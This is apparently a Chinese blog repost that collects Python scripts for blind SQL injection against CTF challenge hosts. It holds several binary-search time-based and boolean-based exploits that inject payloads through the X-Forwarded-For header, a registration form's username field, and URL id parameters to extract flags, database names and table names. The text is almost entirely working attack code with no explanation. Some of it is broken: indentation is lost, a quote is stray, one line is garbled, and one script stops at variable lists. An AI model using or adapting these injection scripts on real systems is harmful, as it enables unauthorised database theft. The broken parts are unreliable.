XFF时间盲注二分法
import requests
url="http://49.235.141.207:25501/test_sql/sql_ip_insert/"
flag=''
for i in range(1,50):
f1=flag
top=127
low=33
while low<=top:
mid=(top+low)//2
p1="127.0.0.1' and (case when ascii(substr((select flag from flag) from {} for 1))>{} then sleep(3) else 0 end) and '1".format(str(i),str(mid))
p2="127.0.0.1' and (case when ascii(substr((select flag from flag) from {} for 1))={} then sleep(3) else 0 end) and '1".format(str(i),str(mid))
headers1={'X-Forwarded-For':p1}
headers2={'X-Forwarded-For':p2}
try:
print(i,mid)
r1=requests.get(url,headers=headers2,timeout=3)
except requests.exceptions.ReadTimeout as e:
flag+=chr(mid)
print(flag)
break
except Exception as e:
pass
else:
try:
r2=requests.get(url,headers=headers1,timeout=3)
except requests.exceptions.ReadTimeout as e:
low=mid+1
except Exception as e:
pass
else:
top=mid-1
if flag==f1:
break
二分法时间盲注
import requests
url="http://e2237b8f-0ea4-4294-bbe7-007af8f88f8b.node3.buuoj.cn/register.php"
flag=''
proxies={
"http":"127.0.0.1:8080"
}
for i in range(1,50):
f1=flag
top=127
low=33
while low<=top:
mid=(top+low)//2
p1="aaaaa' || (case when ascii(substr((select*from flag) from {} for 1))>{} then sleep(3) else 0 end) || 'aaa".format(i,mid)
p2="aaaaa' || (case when ascii(substr((select*from flag) from {} for 1))={} then sleep(3) else 0 end) || 'aaa".format(i,mid)
data1={'email':'basb@qq.com','username':p1,'password':'1234'}
data2={'email':'basb@qq.com','username':p2,'password':'1234'}
try:
print(i,mid)
r1=requests.post(url,data=data2,timeout=3,proxies=proxies)
except requests.exceptions.ReadTimeout as e:
flag+=chr(mid)
print(flag)
break
except Exception as e:
pass
else:
try:
r2=requests.post(url,data=data1,timeout=3,proxies=proxies)
except requests.exceptions.ReadTimeout as e:
low=mid+1
except Exception as e:
pass
else:
top=mid-1
if flag==f1:
break
二分法盲注
import requests
url="http://116.63.149.36:50048/file_id.php?id="
flag=''
for i in range(1,50):
f1=flag
top=127
low=33
while low<=top:
mid=(top+low)//2
data='if(ascii(substr((select(flag)from(flag)),{},1))>{},1,0)'.format(str(i),str(mid))
data1='if(ascii(substr((select(flag)from(flag)),{},1))={},1,0)'.format(str(i),str(mid))
try:
r1=requests.post(url+data1)
print(i,mid)
if 'glzjin' in r1.text:
flag+=chr(mid)
print(flag)
break
r=requests.post(url+data)
if "Error" in r.text:
top=mid-1
if 'glzjin' in r.text:
low=mid+1
except Exception as e:
pass
if flag==f1:
break
时间盲注
import requests
url = 'http://139.199.182.61/index.php?id=1''
lendata=7
databases=['easysql']
tables=['f1aggggggggggggg']
columns=['fl4444444g']
其他
import requests
s=requests.session()
url='https://46a0f98e-cdc3-413d-b67c-b2dbaeb5c4ec.chall.ctf.show/index.php'
table=""
for i in range(1,45):
print(i)
for j in range(31,128):
payload = "ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
ra = s.get(url=url + '?id=0/**/or/**/' + payload).text
if 'I asked nothing' in ra:
table += chr(j)
print(table)
break
import requests
url = "http://124.156.121.112:28069/?id=-1'/**/"
def db(url):
for i in range(1,5):
for j in range(32,128):
u= "or/**/ascii(substr(database()/**/from/**/"+str(i)+"/**/for/**/1))="+str(j)+"#"
s = url+u
print(s)
r = requests.get(s)
if 'By Rudyard Kipling' in r.text:
print(chr(j))
def table(url):
for i in range(4):
table_name=''
for j in range(1,6):
for k in range(48,128):
u=id="||/**/ascii(substr((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/1/**/offset/**/"+str(i)+")/**/from/**/"+str(j)+"/**/for/**/1))="+str(k)+"#"
s = url+u
print(s)
r = requests.get(s)
if 'By Rudyard Kipling' in r.text:
table_name+=chr(k)
print(table_name)
转载请注明原文地址:https://blackberry.8miu.com/read-17970.html